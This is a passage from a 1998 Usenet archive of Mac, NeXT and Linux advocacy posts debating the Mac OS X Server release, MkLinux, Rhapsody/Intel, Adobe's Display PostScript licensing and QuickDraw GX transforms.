> did so, not because projects and products weren't useful; but so they can
> narrow in on those things that are profitable.
Sigh! Unfortunately, you are correct.
While I hated the idea of killing the Newton, I do understand why they had
to do it, in order to concentrate on the essentials, which is Mac OS.
Obviously, the strategy worked, albeit I still don't know why they
couldn't just let Newton, Inc. be independent like they used to be (and
profitable too).
> Apple hasn't killed MkLinux, perhaps they are keeping this idea on hold
> until such a time that they commit the proper resources to it.
Who started that rumor? MkLinux hasn't been killed.
Harry
From: ngroups@fizbin.com (Harry)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <ngroups-0412980947200001@192.168.100.102>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com> <3666ECA0.664BDFF6@ericsson.com> <747a7q$u1v$1@nnrp1.dejanews.com> <3667666A.A1310D9B@ericsson.com> <748vs3$rla@news1.panix.com> <3668064B.B73675F@ericsson.com>
Organization: Fizbin Consulting
Date: Fri, 04 Dec 1998 09:47:20 -0800
NNTP-Posting-Date: Fri, 04 Dec 1998 09:47:20 PDT
In article <3668064B.B73675F@ericsson.com>, Michael Peck
<michael.peck@ericsson.com> wrote:
> Apple
> may hold MkLinux to hedge its bets on a Linux port, or (more likely),
> just like everything else, Apple simply doesn't have the slightest idea
> what to do with it.
I think Apple has a very good idea what to do with it, considering that a
large number of he Rhapsody/Mac OS X drivers originated from MkLinux, or
were developed with a foundation from the MkLinux drivers.
Harry
From: ngroups@fizbin.com (Harry)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <ngroups-0412980951560001@192.168.100.102>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <746k9u$820$2@your.mother.com> <F3EKM7.F1F@T-FCN.Net> <3666F2F5.11E9@aol.com> <747orc$eao$1@news.digifix.com> <36677c1d.0@nnrp1.news.uk.psi.net> <748vs4$rla@news1.panix.com>
Organization: Fizbin Consulting
Date: Fri, 04 Dec 1998 09:51:55 -0800
NNTP-Posting-Date: Fri, 04 Dec 1998 09:51:55 PDT
In article <748vs4$rla@news1.panix.com>, sal@panix.com wrote:
> I'm not a lawyer, but I would think that "holding back a few cards in
reserve"
> while being asked to testify under oath would be pretty close to obstruction
> of justice.
Geez!
No, it's NOT.
A witness on the stand, regardless of sides, is NOT required to volunteer
any and all information they possess. Specifically, they are supposed to
ANSWER questions.
At no time was Avie asked if Microsoft required them to kill their
operating system, or if Mac OS X/Intel was abandonned because of concerns
from MS.
I really wish people would have a modicum of understanding of legal
concepts, instead of being armchair lawyers.
Harry
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: New date for OS X Server?
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Cc: spagiola@my-dejanews.com
Organization: needs one
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
<72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com>
<01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net>
<%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com>
<732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com>
<739lhb$g1r@news1.panix.com> <SCOTT.98Nov30212634@slave.doubleu.com>
<F3AoEs.4oL@T-FCN.Net> <SCOTT.98Dec3001200@slave.doubleu.com>
<F3ECEw.AzA@T-FCN.Net> <746o4g$dol$1@nnrp1.dejanews.com>
<F3Erws.Izr@T-FCN.Net> <748tgd$8bl$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Fri, 4 Dec 1998 17:41:02 GMT
In <748tgd$8bl$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> My point was this: MS clearly makes money selling NT workstation, and
> makes
> money selling NT server. As you yourself pointed out, the actual
> differences
> betweent the two products are pretty trivial. Now Apple has a product
> which
> could also potentially cover both these bases, and arguably do a better
> job at
> doing both. So why should Apple limit itself to covering only one of them?
They're not. You seem to want to make a really big deal about them not
making a client package _right_now_. Sorry, I simply don't see this as the
issue that you make it out to be.
> Now you're just being silly. My statement was "for zero or a trivial
> additional cost, they can sell a product which is likely to generate them
> money, and they can do so RIGHT NOW." This is is no way analogous to your
> pie-in-the-sky wishes.
Pie in the sky? Whatever. Could they sell this as a client OS to their
users right now? No.
> Except that OSX isn't here, and won't be here for some time.
So? I still don't see this as some sort of fundamental problem with their
plans.
Maury
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Content-Type: text/plain; charset=us-ascii
Message-ID: <F3GC44.Hx3@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: markeaton@mindspring.com
Organization: needs one
References: <19981203093222.EGTO9985@181.minneapolis-01.mn.dial-access.att.
net> <B28C13F2-3BD09@206.165.43.215>
<746ta9$ic2$1@nnrp1.dejanews.com> <slrn76ef73.t57.mark@ns1.oaai.com>
<7481fj$31u$1@camel18.mindspring.com>
Mime-Version: 1.0
Date: Fri, 4 Dec 1998 17:48:03 GMT
In <7481fj$31u$1@camel18.mindspring.com> "Mark Eaton" wrote:
> I may be missing something here, but if it is/was so great where are all
> the ground breaking applications?
Sorry Mark, you're not allowed to use that argument. When I made the
same noise about GX over a year ago I was shouted down with the statement
that developer acceptance in no way illustrates quality.
On that point I now generally agree, so I use a newer metric, the quality
of the API is inversely proportional to the size of the manuals. In other
words, larger manuals means a lousier API. GX totalled out in several
thousand pages, and the books for GX alone were larger than the entire YB
doc set.
> YellowBox reminds me of the Fermi Paradox:
> where are they? After all these years, people still get glaze-eyed and
> whisper 'if you build it they will come'.
I can't think of a single person that espouces that viewpoint these days.
I don't even think Lawson does. I'd say we're all too jaded
Maury
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 4 Dec 1998 18:06:29 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn76g954.vum.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com> <7471vr$75k$1@nnrp03.primenet.com> <747ovr$eap$1@news.digifix.com>
NNTP-Posting-Date: 4 Dec 1998 18:06:29 GMT
On 4 Dec 1998 04:38:19 GMT, Scott Anguish <sanguish@digifix.com> wrote:
:On 12/03/98, John Jensen wrote:
:>Apple has had two years to resolve licensing and royalty issues.
:>
: This assumes that the party that they have to resolve them
:with wishes them to be resolved. Adobe seems intent on killing DPS
:and PS quickly and without regard for any collateral kill damage.
Worse yet, they may be intent on killing DPS with ungrateful,
intentional regard to collateral kill damage.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "do || !do; try: Command not found"
* /sbin/yoda --help
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Fri, 4 Dec 1998 10:08:08 -0800
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <slrn76g988.97g.jedi@dementia.mishnet>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <746k9u$820$2@your.mother.com> <F3EKM7.F1F@T-FCN.Net> <3666F2F5.11E9@aol.com> <747orc$eao$1@news.digifix.com> <36677c1d.0@nnrp1.news.uk.psi.net> <748vs4$rla@news1.panix.com> <ngroups-0412980951560001@192.168.100.102>
On Fri, 04 Dec 1998 09:51:55 -0800, Harry <ngroups@fizbin.com> wrote:
>In article <748vs4$rla@news1.panix.com>, sal@panix.com wrote:
>
>> I'm not a lawyer, but I would think that "holding back a few cards in
>reserve"
>> while being asked to testify under oath would be pretty close to obstruction
>> of justice.
>
>Geez!
>
>No, it's NOT.
>
>A witness on the stand, regardless of sides, is NOT required to volunteer
>any and all information they possess. Specifically, they are supposed to
>ANSWER questions.
That's a fairly broad directive however which can be intrepreted
in many ways especially considering that bit about 'the whole
truth' in the witnesses oath.
It's the LAWYERS that have most of the specific restrictions placed
on their conduct, not the witnesses.
Even with all that, intentional abuses occur quite frequently
as as much as the judge might like, people aren't going to
really completely forget any bit of testimony that slips out
& then gets successfuly objected to.
>
>At no time was Avie asked if Microsoft required them to kill their
>operating system, or if Mac OS X/Intel was abandonned because of concerns
>from MS.
>
>I really wish people would have a modicum of understanding of legal
>concepts, instead of being armchair lawyers.
Yeah... dontyou...
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Fri, 04 Dec 1998 18:19:09 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74992q$irr$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746l79$3ls$1@murdoch.acc.Virginia.EDU>
In article <746l79$3ls$1@murdoch.acc.Virginia.EDU>,
sdm7g@elvis.med.Virginia.EDU (Steven D. Majewski) wrote:
[ ... ]
> Well -- one advantage, found in:
>
> "Optimizing the Idle Task and other MMU Tricks"
>
> <http://www.cs.nmt.edu/~cort/papers/linuxppc-mm/linuxppc-mm.pdf>
This URL returns a "forbidden" error.
>| "According to the LmBench benchmark, Linux/PPC is now twice as fast as
>| IBM's AIX/PPC operating system and between 10 and 120 times faster than
>| Apple's Mach based MkLinux/PPC and Rhapsody/PPC operating systems."
What's the point in benchmarking a beta? Let's wait until OS X Server is
released before we go crazy benchmarking it's performance....
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "scott hand" <vidahand@qx.doh!.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server and Yosemite connection
Date: 4 Dec 98 14:00:13 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <B28D9B72-8C759@208.200.110.112>
References: <744l0m$166$1@your.mother.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.qx.net/comp.sys.next.advocacy
On Wed, Dec 2, 1998 6:53 PM, Todd Heberlein (todd at NetSQ dot com)
<mailto:todd@dev.null> wrote:
>Conspiracy theory 452 - this one is a stretch: Yosemite will come in
>both a PowerPC and an Intel version.
>
>This one is based on a note by Jacquis Lewis and posted at MacOS Rumors.
>Merced is Intel's next generation CPU, and we have read reports that
>Jobs has been interested in Merced in the past. Merced is also a town
>in central California which is known as the "Gateway to Yosemite", and
>MacOS X Server will run on both PowerPC and Intel. So just maybe...
>
>http://www.yosemite-gateway.org/
>
>Cheers,
>
>Todd
>
Or, to be just a little more absurd, Apple will outsource the Intel-box
manufacturing to Gateway 2000. Yes, it all fits together nicely now...
scott
From: "scott hand" <vidahand@qx.doh!.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server price
Date: 4 Dec 98 14:02:47 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <B28D9C0C-8EB90@208.200.110.112>
References: <744lne$182$1@your.mother.com>
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nntp://news.qx.net/comp.sys.next.advocacy
On Wed, Dec 2, 1998 7:05 PM, Todd Heberlein (todd at NetSQ dot com)
<mailto:todd@dev.null> wrote:
>I think that most of us have been in the dark about Apple's planned
>price for MacOS X Server. One theory that has been circulated is that
>OSX Server will ship *with* WebObjects.
>
>WebObjects 4 starts at $1,499 (and moves up to $50,000)[1], so if there
>is any truth to theory of bundling WebObjects with OS X Server, expect a
>high price for OS X Server or *deep* discounts for WebObjects on Apple's
>OS.
>
>Todd
>
There will also be a higher-ed "non-commercial" version for $99! That's
what I want right there, OSXserver for $99 WO or not.
scott
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Content-Type: text/plain; charset=us-ascii
Message-ID: <F3GFnp.Jvp@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: chuck@codefab.com
Organization: needs one
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu>
<746l79$3ls$1@murdoch.acc.Virginia.EDU> <74992q$irr$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Fri, 4 Dec 1998 19:04:36 GMT
In <74992q$irr$1@nnrp1.dejanews.com> "Charles Swiger" wrote:
> > <http://www.cs.nmt.edu/~cort/papers/linuxppc-mm/linuxppc-mm.pdf>
>
> This URL returns a "forbidden" error.
Yeah there's something wrong with that server. Try linuxppc.cs.nmt.edu
instead, right off the home page. It's a facinating paper, but as
suspected the benchmark in question is not what it was being quoted to be.
Maury
From: jsavard@tenMAPSONeerf.edmonton.ab.ca (John Savard)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Fri, 04 Dec 1998 19:10:16 GMT
Organization: Videotron Communications Ltd.
Message-ID: <36683367.6153407@news.prosurfr.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net>
a1050pi@yahoo.com (Sheldon Gartner) wrote, in part:
>http://www.macintouch.com/ says that OSX is going to be out by Jan.
>Is that possible?
Certainly. Will it happen? I don't know.
>And how possible is it that the GUI might be opened
>up a little bit to allow for Linux instead of Mach (sp?) in its
>innards?
Extremely unlikely. It's _possible_, but they'd probably never do it.
John Savard
http://www.freenet.edmonton.ab.ca/~jsavard/index.html
From: "Bjørnar Bolsøy" <bbolsoey@rl.telia.no>
Subject: Re: Automated Microsoft OS installs Re: Linux preinstalled laptops?
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <slrn76e16g.pub.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <Dm#EkcwH#GA.195@pet.hiwaay.net> <timleeF3FF3u.M06@netcom.com>
Message-ID: <01be2006$44758e40$44f0ccc3@default>
Date: 4 Dec 98 19:18:15 GMT
Timothy J. Lee <timlee@netcom.com.DELETE-THIS.BIT> wrote:
> Well, how do you automatically install Microsoft Windows?
> It sure doesn't look very obvious how one can avoid babysitting
> the install process where one has to click lots of buttons through
> the whole thing. At least Red Hat, SuSE, and perhaps others are
> moving in the direction of automated install (e.g. Red Hat kickstart).
ZAK, Microsofts free Zero Administration Kit. It's basically
a batch job on a bootable floppy. Quiet installation if you
want so. Using a server image we averaged about 15
minutes pr. client installation this summer, not at all
bad methinks.
That's a fully policy based network configured Win95
machine ready to run, including setup of our basic
software suite.
And surprisingly little time was spent setting it up and
roll out the pilot.
Regards...
From: sneal@ichips.intel.com (Scott M Neal)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server and Yosemite connection
Date: 4 Dec 1998 19:44:03 GMT
Organization: Intel Development Labs, INTeL Corporation
Message-ID: <749e23$a02@news.or.intel.com>
References: <744l0m$166$1@your.mother.com> <B28D9B72-8C759@208.200.110.112>
In article <B28D9B72-8C759@208.200.110.112>,
scott hand <vidahand@qx.doh!.net> wrote:
>
>Or, to be just a little more absurd, Apple will outsource the Intel-box
>manufacturing to Gateway 2000. Yes, it all fits together nicely now...
>
>scott
And Gateway will fold the whole system in with its upcoming
Amiga II plans, making a fully-compatible Merced-based Mac/PC/Amiga/NeXT
box ;-D
Scott (another one)
Definitely not speaking for Intel on this...!
From: spam@spam.mil (Rick Tan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server and Yosemite connection
Date: Fri, 04 Dec 1998 11:33:39 -0800
Organization: ACI
Message-ID: <spam-0412981133400001@tanri.apple.com>
References: <744l0m$166$1@your.mother.com> <B28D9B72-8C759@208.200.110.112>
In article <B28D9B72-8C759@208.200.110.112>, "scott hand"
<vidahand@qx.doh!.net> wrote:
> On Wed, Dec 2, 1998 6:53 PM, Todd Heberlein (todd at NetSQ dot com)
> <mailto:todd@dev.null> wrote:
> >Conspiracy theory 452 - this one is a stretch: Yosemite will come in
> >both a PowerPC and an Intel version.
> >
> >This one is based on a note by Jacquis Lewis and posted at MacOS Rumors.
> >Merced is Intel's next generation CPU, and we have read reports that
> >Jobs has been interested in Merced in the past. Merced is also a town
> >in central California which is known as the "Gateway to Yosemite", and
> >MacOS X Server will run on both PowerPC and Intel. So just maybe...
> >
> >http://www.yosemite-gateway.org/
> >
> >Cheers,
> >
> >Todd
> >
>
> Or, to be just a little more absurd, Apple will outsource the Intel-box
> manufacturing to Gateway 2000. Yes, it all fits together nicely now...
>
>
>
> scott
Someone has been watching too many episodes of 'The X Files'. Not that it
isn't a good TV show and all...
From: Mike Paquette <mpaque@ncal.verio.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Fri, 04 Dec 1998 11:39:31 -0800
Organization: Electronics Service Unit No. 16
Message-ID: <36683A6B.9A8E24A6@ncal.verio.com>
References: <3665d1d7$0$219@nntp1.ba.best.com> <B28B8E46-E60BB@206.165.43.131> <hOt92.25134$aF1.69922@typhoon-sf.snfc21.pbi.net>
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William Edward Woody wrote:
> To make this fair, I'm assuming that the set of transformations
> (representable
> in a 4x4 matrix) that will be performed on the surface is a Rotate around
> the X axis, a Translate along Z to the required distance, and a Perspective
> to map the whole thing into a 2D projection onto the screen.
[Proof of reduction of 4x4 to 3x3 matrix for simple projection above deleted]
Nicely done, and conceptually correct. Any point in an image may be
transformed for rotation, translation, and perspective into another image.
This is the principle behind the ADO boxes (commonly used for effects in
sports braodcasting) and in some of QuickTime's effects stuff.
> And thus to get the effect of the text rotated angle A at a distance
> Z from the camera can be simulated by using the 3x3 GX matrix G
> above.
>
> QED
Well, almost. If you are transforming points in the rendered image of
the text, this works well (although prone to scaling artifacts). Alas,
if you try transforming the control points of text outlines this way,
funny things start to happen.
Control points on curve functions such as Beziers behave in less than
obvious ways. When one manipulates the control points, the curve does
change. The resulting curve, however, does not occupy the same points
as the points translated from the rendered curve with the unmanipulated
control points.
This effect is quite noticible when applied to more complex curves (as
found in some of the fancier GX fonts) at high 'perspective tilts'. For
a font like Helvetica, it's almost completely unnoticeable.
Most 3D systems (e.g., QuickDraw 3D) dodge the problem of transforming
control points completely by first reducing the curve to a
representation consisting only of points on the curve, e.g., subdivision
to polygons of some form. For text this operation typically traverses
the curve with the desired stroke width, flattening the resulting
outline on the fly.
> (Who isn't defending GX; personally I think it was too little,
> too late. And while GX is technologically cool, unfortunately
> I think it's the wrong approach for that sort of thing from a
> political and marketing standpoint. OTOH, GX *IS* technologically
> cool, and slamming it for something people think it can't do
> is just wrong.)
It is cool. I just get tired of dealing with phone calls and E-mail
along the lines of 'This guy on the Net said I could do 3D stuff with
GX. How do I do a (flying logo, chrome sphere, etc)?' Alas, Mr.
English has a slight tendency to exaggerate the capabilities of GX,
which leads to disappointment and frustration on the part of those
unfortunate enough to take his statements at face value.
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 4 Dec 1998 20:01:36 GMT
Organization: MiscKit Development
Message-ID: <749f30$q57$1@news.xmission.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com> <7471vr$75k$1@nnrp03.primenet.com> <747ovr$eap$1@news.digifix.com> <747t4c$hj7$1@nnrp03.primenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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NNTP-Posting-Date: 4 Dec 1998 20:01:36 GMT
John Jensen <jjens@primenet.com> wrote:
> Scott Anguish <sanguish@digifix.com> wrote:
> : On 12/03/98, John Jensen wrote:
> : >Apple has had two years to resolve licensing and royalty issues.
>
> : This assumes that the party that they have to resolve them
> : with wishes them to be resolved. Adobe seems intent on killing DPS
> : and PS quickly and without regard for any collateral kill damage.
>
> In which case the ineptitude occured at the time of the NeXT
> purchase, when Apple bought an OS burdened with an unworkable license.
That's rather disingenious.
Simplified timeline:
* Purchase NeXT, announce Rhapsody
* Adobe, over a year later, pulls out the DPS rug and becomes obstinate
* Apple has to find a way to fix the problem so they can ship.
The license wasn't "unworkable" at the time NeXT was bought. If it were, I
seriously doubt that Apple would have bought NeXT at any price! But, before
Apple was able to ship any product, Adobe changed the rules. How could Apple
have possibly forseen that Adobe would want to utterly kill DPS? At the time
of the NeXT purchase, there was no indication of such a thing ever happening!
And, we don't know what the exact issues are, so it is hard to call the DPS
licensing "unworkable" even now. According to an Apple employee's post to
one of the Omni macosx mailing lists, the issues _have_ now been resolved.
It just took a while. Sure, it is irritating, but I can't hardly blame Apple
for this move. The fault seems to lie squarely elsewhere.
It just goes to show that other companies besides Apple (for example, Adobe)
have a definitely ability to perform utterly boneheaded and annoying
maneuvers. (Heck, even if Microsoft weren't vicious, these idiots would
probably still be in trouble given some of the stellar ineptitude they've
demonstrated in the past!)
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
Message-ID: <3668383F.79DC79A6@gamewood.net>
Date: Fri, 04 Dec 1998 14:30:16 -0500
From: William Cloud Hicklin <solicitr@gamewood.net>
Organization: Break up Micro$oft now!
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <746k9u$820$2@your.mother.com> <F3EKM7.F1F@T-FCN.Net> <3666F2F5.11E9@aol.com> <747orc$eao$1@news.digifix.com> <36677c1d.0@nnrp1.news.uk.psi.net> <748vs4$rla@news1.panix.com> <ngroups-0412980951560001@192.168.100.102>
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Harry wrote:
> In article <748vs4$rla@news1.panix.com>, sal@panix.com wrote:
>
> > I'm not a lawyer, but I would think that "holding back a few cards in
> reserve"
> > while being asked to testify under oath would be pretty close to obstruction
> > of justice.
>
> Geez!
>
> No, it's NOT.
>
> A witness on the stand, regardless of sides, is NOT required to volunteer
> any and all information they possess. Specifically, they are supposed to
> ANSWER questions.
>
> At no time was Avie asked if Microsoft required them to kill their
> operating system, or if Mac OS X/Intel was abandonned because of concerns
> from MS.
>
And he would have had to answer "no" if he were asked. The DOJ's lawyers had
already interviewed him, after all.
Avie was being a little disingenous when he said Rhapsody was "killed". The
essentials of Rhapsody are alive and well and in developer release, as OS X
Server. What did get killed was Rhapsody/Intel, *primarily* because it was
giving Apple headaches and it was holding up the whole project. It was not worth
waiting around for *especially* since R/Intel would have had dubious commercial
value in competition with Windows.
--
William Cloud Hicklin
solicitr@gamewood.net
"Imagine the disincentive to software development if after months of work another
company
could come along and copy your work and market it under its own name...without
legal
restraints to such copying, companies like Apple could not afford to advance the
state of the
art." --- Microsoft Chairman Bill Gates, 1984.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Fri, 04 Dec 1998 20:18:42 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <749g2v$pao$1@nnrp1.dejanews.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <SCOTT.98Nov30212634@slave.doubleu.com> <F3AoEs.4oL@T-FCN.Net> <SCOTT.98Dec3001200@slave.doubleu.com> <F3ECEw.AzA@T-FCN.Net> <746o4g$dol$1@nnrp1.dejanews.com> <F3Erws.Izr@T-FCN.Net> <748tgd$8bl$1@nnrp1.dejanews.com> <F3GBsE.HMv@T-FCN.Net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> They're not. You seem to want to make a really big deal about them not
> making a client package _right_now_. Sorry, I simply don't see this as the
> issue that you make it out to be.
> [snip] Could they sell this as a client OS to their
> users right now? No.
Wrong. They could sell it to me. And to several other posters here. That's at
a minimum.
But clearly there's no point on carrying this discussion on. You apparently
don't believe that shipping OSX Server now at a price that makes it affordable
to end-users is important. I disagree.
I WILL continue to make a big deal out of this, though, because it IS
important to me personally (else I'm stuck continuing to use NeXTSTEP, which
is by now long in the tooth or using NT). I also believe that it's important
to the perception of Apple in the marketplace.
What I don't understand is why you insist on making a big deal out of
disagreeing with me, when by your words above you don't really care either
way.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
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From: amigadude@my-dejanews.com
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Linux preinstalled laptops?
Date: Fri, 04 Dec 1998 20:52:58 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <749i38$r25$1@nnrp1.dejanews.com>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net> <911595335.545550@optional.cts.com> <slrn75bobf.drp.float@interport.net> <73cl43$h48$1@cronkite.cs.umd.edu> <73cmlm$omf$6@newnews.nl.uu.net> <F2x7L2.t1@a2e.de> <3665A681.4D6D2AA5@columbus.crosswinds.net> <3666F06F.86D69BAF@digiscape.com> <UXG#48vH#GA.210@pet.hiwaay.net> <slrn76e16g.pub.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <F3Ft00.147@a2e.de>
In article <F3Ft00.147@a2e.de>,
phm@a2e.de (PILCH Hartmut) wrote:
> >:Because Dell, like everyone else has totally automated routines for
> >:installing software like Windows. I suspect if the Linux community wants to
> >:have people like Dell preinstall without charging an arm and a leg they need
> >:to look at how to make automated installation real simple.
>
> >'Automated installation' on known hardware should be as trivial in
> >Linux as in Windows.
>
> The German chainstore ComTech sells Linux-preinstalled PCs. But they
> only use an old SuSE version and advertise it only as a PC without Windows.
> They use a stupid manual installation routine, nothing automated.
> Therefore, they install as little stuff as possible, no X11, no KDE.
> Making an auto-installation CD for them should be easy, but probably they
> don't want it. One could try.
>
> --
> Hartmut Pilch
> http://www.a2e.de/phm/
>---
Preinstalled Linux is coming to you next year from Dell, Gateway, etc.
http://www.abcnews.com/sections/tech/DailyNews/linux981014.html
--
vr,[joe]
2-A1000; 1-A1200/68030/50; 1-A2000; 1-B2000 1-A3000
-----------== Posted via Deja News, The Discussion Network ==----------
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From: msb@plexare.com (Michael S. Barthelemy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 4 Dec 1998 20:58:40 GMT
Organization: A-Link Network Services, Inc.
Message-ID: <749ie0$hgi@ns2.alink.net>
References: <ngroups-0412980941310001@192.168.100.102>
ngroups@fizbin.com (Harry) writes:
> In article
>
<0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net>,
> a1050pi@yahoo.com wrote:
>
> > I guess what I want is Linux to have a newbie friendly GUI so M$ can
> > drop dead next year. 8-)
>
> Rumor has it that Apple will be releasing the Mac OSX APIs/GUI after the
> release of Mac OS X server under the GPL (or something similar).
>
> That would DEFINITELY be welcome by many, and it WOULD porvide Linux with
> a consistent interface.
It will never happen. Releasing the API's is pointless we all know what they
are right now anyways.. What you want is the source, and it will never
happen...
Mike Barthelemy
From: msb@plexare.com (Michael S. Barthelemy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 4 Dec 1998 21:03:26 GMT
Organization: A-Link Network Services, Inc.
Message-ID: <749imu$hm7@ns2.alink.net>
References: <ngroups-0412980947200001@192.168.100.102>
ngroups@fizbin.com (Harry) writes:
